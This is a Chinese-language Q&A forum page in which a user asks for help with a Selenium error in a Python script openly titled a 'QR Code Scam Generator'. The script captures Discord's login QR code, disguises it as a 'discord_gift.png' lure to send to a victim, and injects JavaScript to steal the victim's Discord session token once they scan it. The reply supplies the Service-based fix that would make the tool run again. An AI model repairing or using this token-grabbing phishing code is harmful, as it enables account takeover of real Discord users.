Python 错误:driver = webdriver.Chrome(options=options,executable_path=r'chromedriver.exe') TypeError: WebDriver

问题描述 投票:0回答:1

帮助修复Python代码中的错误!

我是编程新手,不知道如何解决这个问题。我将感谢所有帮助过我的人!

我的代码

from bs4 import BeautifulSoup
from selenium import webdriver
from PIL import Image
import base64
import time
import os

# Developer: Parad1st
# Educational purposes only

def logo_qr():
    im1 = Image.open('temp/qr_code.png', 'r')
    im2 = Image.open('temp/overlay.png', 'r')
    im2_w, im2_h = im2.size
    im1.paste(im2, (60, 55))
    im1.save('temp/final_qr.png', quality=95)

def paste_template():
    im1 = Image.open('temp/template.png', 'r')
    im2 = Image.open('temp/final_qr.png', 'r')
    im1.paste(im2, (120, 409))
    im1.save('discord_gift.png', quality=95)

def main():
    print('https://github.com/Parad1st/Discord-Scam-QR')
    print('** QR Code Scam Generator by Parad1st **')

    options = webdriver.ChromeOptions()
    options.add_experimental_option('excludeSwitches', ['enable-logging'])
    options.add_experimental_option('detach', True)
    driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe')

    driver.get('https://discord.com/login')
    time.sleep(5)
    print('- Page has been loaded.')

    page_source = driver.page_source

    soup = BeautifulSoup(page_source, features='lxml')

    div = soup.find('div', {'class': 'qrCode-wG6ZgU'})
    qr_code = div.find('img')['src']
    file = os.path.join(os.getcwd(), 'temp/qr_code.png')

    img_data =  base64.b64decode(qr_code.replace('data:image/png;base64,', ''))

    with open(file,'wb') as handler:
        handler.write(img_data)

    discord_login = driver.current_url
    logo_qr()
    paste_template()

    print('- QR Code has been generated. > discord_gift.png ')
    print('Send the QR Code to user and scan. Waiting..')
    
    while True:
        if discord_login != driver.current_url:
            print('Grabbing token..')
            token = driver.execute_script('''

    var req = webpackJsonp.push([
        [], {
            extra_id: (e, t, r) => e.exports = r
        },
        [
            ["extra_id"]
        ]
    ]);
    for (let e in req.c)
        if (req.c.hasOwnProperty(e)) {
            let t = req.c[e].exports;
            if (t && t.__esModule && t.default)
                for (let e in t.default) "getToken" === e && (token = t.default.getToken())
        }
    return token;   
                ''')
            print('---')
            print('Token grabbed:',token)
            break

    print('Task complete. Успех!')

if __name__ == '__main__':
    main()


错误:

Traceback (most recent call last):
  File "C:\Users\Parad1st\Desktop\Discord-QR-Scam-main\qr_generator.py", line 87, in <module>
    main()
  File "C:\Users\Parad1st\Desktop\Discord-QR-Scam-main\qr_generator.py", line 33, in main
    driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe')
TypeError: WebDriver.__init__() got an unexpected keyword argument 'executable_path'

我尝试安装旧版本的selenium,它有帮助,但它不支持新版本的Chrome

我需要脚本连接到 Google Chrome 并执行某些操作,但代码给出错误。如果有的话,我写这篇文章是为了让该网站允许我发布一个问题,因为它写道文本中只有一个代码。

提前谢谢您!

python windows selenium-webdriver selenium-chromedriver
1个回答
0
投票

从硒导入网络驱动程序

从 selenium.webdriver.chrome.service 导入服务

def main():

options = webdriver.ChromeOptions()
driver_path = r'chromedriver.exe'

service = Service(driver_path)
driver = webdriver.Chrome(service=service, options=options)

尝试这个使用服务

© www.soinside.com 2019 - 2024. All rights reserved.